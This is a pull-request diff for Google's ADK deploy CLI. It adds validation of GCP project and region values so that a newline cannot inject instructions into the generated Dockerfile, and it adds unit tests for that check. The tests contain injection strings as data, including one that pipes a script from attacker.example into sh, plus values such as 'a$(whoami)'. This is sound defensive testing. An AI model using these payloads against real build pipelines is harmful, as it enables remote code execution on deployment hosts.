Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
64 changes: 64 additions & 0 deletions src/google/adk/cli/cli_deploy.py
Original file line number Diff line number Diff line change
Expand Up @@ -555,6 +555,61 @@ def _validate_app_name(app_name: str) -> None:
)


# project and region are interpolated verbatim into the generated Dockerfile
# (ENV GOOGLE_CLOUD_PROJECT={gcp_project_id} / ENV GOOGLE_CLOUD_LOCATION=
# {gcp_region}) by _DOCKERFILE_TEMPLATE, the same as app_name above. Both are
# plain CLI flag values (--project, --region) with no requirement that they
# name a real, already-validated GCP resource before reaching this point --
# _resolve_project's own fallback path aside, a caller (or a script wrapping
# this CLI) can supply any string here. A value containing a newline breaks
# out of the ENV instruction's line exactly as an unvalidated app_name broke
# out of the COPY instruction, injecting an arbitrary new Dockerfile
# instruction. Restrict both to GCP's own project-ID/region character set
# before they reach the template.
_GCP_PROJECT_ID_PATTERN: Final[re.Pattern[str]] = re.compile(
r'^[A-Za-z][A-Za-z0-9_-]{0,62}$'
)
_GCP_REGION_PATTERN: Final[re.Pattern[str]] = re.compile(
r'^[A-Za-z][A-Za-z0-9_-]{0,62}$'
)


def _validate_gcp_project_id(project: str) -> None:
"""Validates a GCP project id before it is written into a Dockerfile.

Args:
project: The project id, either passed via --project or resolved from
the local gcloud configuration.

Raises:
click.ClickException: If the project id is not a plain GCP project id.
"""
if not _GCP_PROJECT_ID_PATTERN.fullmatch(project):
raise click.ClickException(
f'Invalid GCP project id {project!r}. The project id is used in the'
' generated Dockerfile and must contain only letters, digits,'
' hyphens, and underscores (1-63 characters, starting with a'
' letter).'
)


def _validate_gcp_region(region: str) -> None:
"""Validates a GCP region before it is written into a Dockerfile.

Args:
region: The region, passed via --region.

Raises:
click.ClickException: If the region is not a plain GCP region name.
"""
if not _GCP_REGION_PATTERN.fullmatch(region):
raise click.ClickException(
f'Invalid GCP region {region!r}. The region is used in the generated'
' Dockerfile and must contain only letters, digits, hyphens, and'
' underscores (1-63 characters, starting with a letter).'
)


def _validate_gcloud_extra_args(
extra_gcloud_args: Optional[tuple[str, ...]], adk_managed_args: set[str]
) -> None:
Expand Down Expand Up @@ -917,6 +972,9 @@ def to_cloud_run(
click.echo('Deploying to Cloud Run...')
region_options = ['--region', region] if region else []
project = _resolve_project(project)
_validate_gcp_project_id(project)
if region:
_validate_gcp_region(region)

# Build the set of args that ADK will manage
adk_managed_args = {'--source', '--project', '--port', '--verbosity'}
Expand Down Expand Up @@ -1406,6 +1464,9 @@ def create_dockerfile_for_agent_engine(resource_name: str) -> None:
f' {adk_version} was requested',
fg='yellow',
)
if region:
_validate_gcp_region(region)
_validate_gcp_project_id(project)
dockerfile_content = _DOCKERFILE_TEMPLATE.format(
gcp_project_id=project,
gcp_region=region,
Expand Down Expand Up @@ -1546,6 +1607,9 @@ def to_gke(
click.echo('--------------------------------------------------')
# Resolve project early to show the user which one is being used
project = _resolve_project(project)
_validate_gcp_project_id(project)
if region:
_validate_gcp_region(region)
click.echo(f' Project: {project}')
click.echo(f' Region: {region}')
click.echo(f' Cluster: {cluster_name}')
Expand Down
139 changes: 139 additions & 0 deletions tests/unittests/cli/utils/test_cli_deploy.py
Original file line number Diff line number Diff line change
Expand Up @@ -716,6 +716,145 @@ def test_to_gke_validates_app_name_and_trailing_slash(
)


class TestValidateGcpProjectAndRegion:
"""Tests for _validate_gcp_project_id/_validate_gcp_region and their deploy call sites.

Sibling finding to TestValidateAppName above: project and region are
interpolated into the same _DOCKERFILE_TEMPLATE (ENV GOOGLE_CLOUD_PROJECT=
{gcp_project_id} / ENV GOOGLE_CLOUD_LOCATION={gcp_region}) the exact same
way app_name is, and share the same injection risk.
"""

@pytest.mark.parametrize(
"value",
[
"proj",
"my-project-123",
"my_project",
"PROJECT1",
"a",
"a" * 63,
"us-central1",
"fake_region",
],
)
def test_accepts_plain_identifiers(self, value: str) -> None:
# Should not raise for either validator -- both share the same
# character-set restriction.
cli_deploy._validate_gcp_project_id(value)
cli_deploy._validate_gcp_region(value)

@pytest.mark.parametrize(
"value",
[
# Breaks out of the ENV instruction to inject a new RUN.
"legit-project\nRUN curl https://attacker.example/x.sh | sh\n#",
# Breaks out via a quote/space combination.
'a" "b',
"has space",
"a;b",
"a|b",
"a$(whoami)",
"a`whoami`",
# Empty and trailing newline.
"",
"myproject\n",
],
)
def test_rejects_unsafe_values(self, value: str) -> None:
with pytest.raises(click.ClickException) as exc_info:
cli_deploy._validate_gcp_project_id(value)
assert "Invalid GCP project id" in str(exc_info.value)

with pytest.raises(click.ClickException) as exc_info:
cli_deploy._validate_gcp_region(value)
assert "Invalid GCP region" in str(exc_info.value)

def test_to_cloud_run_rejects_injection_in_project(
self,
monkeypatch: pytest.MonkeyPatch,
agent_dir: Callable[[bool, bool], Path],
tmp_path: Path,
) -> None:
src_dir = agent_dir(False, False)
monkeypatch.setattr(subprocess, "run", lambda *a, **k: None)
monkeypatch.setattr(shutil, "rmtree", lambda *a, **k: None)

with pytest.raises(click.ClickException) as exc_info:
cli_deploy.to_cloud_run(
agent_folder=str(src_dir),
project='legit\nRUN curl https://attacker.example/x.sh | sh\n#',
region="us-central1",
service_name="svc",
app_name="myagent",
temp_folder=str(tmp_path),
port=8080,
trace_to_cloud=False,
otel_to_cloud=False,
with_ui=False,
log_level="info",
verbosity="info",
adk_version="1.3.0",
)
assert "Invalid GCP project id" in str(exc_info.value)

def test_to_cloud_run_rejects_injection_in_region(
self,
monkeypatch: pytest.MonkeyPatch,
agent_dir: Callable[[bool, bool], Path],
tmp_path: Path,
) -> None:
src_dir = agent_dir(False, False)
monkeypatch.setattr(subprocess, "run", lambda *a, **k: None)
monkeypatch.setattr(shutil, "rmtree", lambda *a, **k: None)

with pytest.raises(click.ClickException) as exc_info:
cli_deploy.to_cloud_run(
agent_folder=str(src_dir),
project="proj",
region='us-central1\nRUN curl https://attacker.example/x.sh | sh\n#',
service_name="svc",
app_name="myagent",
temp_folder=str(tmp_path),
port=8080,
trace_to_cloud=False,
otel_to_cloud=False,
with_ui=False,
log_level="info",
verbosity="info",
adk_version="1.3.0",
)
assert "Invalid GCP region" in str(exc_info.value)

def test_to_gke_rejects_injection_in_project(
self,
monkeypatch: pytest.MonkeyPatch,
agent_dir: Callable[[bool, bool], Path],
tmp_path: Path,
) -> None:
src_dir = agent_dir(False, False)
monkeypatch.setattr(subprocess, "run", lambda *a, **k: None)
monkeypatch.setattr(shutil, "rmtree", lambda *a, **k: None)

with pytest.raises(click.ClickException) as exc_info:
cli_deploy.to_gke(
agent_folder=str(src_dir),
project='legit\nRUN curl https://attacker.example/x.sh | sh\n#',
region="us-east1",
cluster_name="my-gke-cluster",
service_name="gke-svc",
app_name="myagent",
temp_folder=str(tmp_path),
port=9090,
trace_to_cloud=False,
otel_to_cloud=False,
with_ui=False,
log_level="debug",
adk_version="1.2.0",
)
assert "Invalid GCP project id" in str(exc_info.value)


class TestValidateAgentImport:
"""Tests for the _validate_agent_import function."""

Expand Down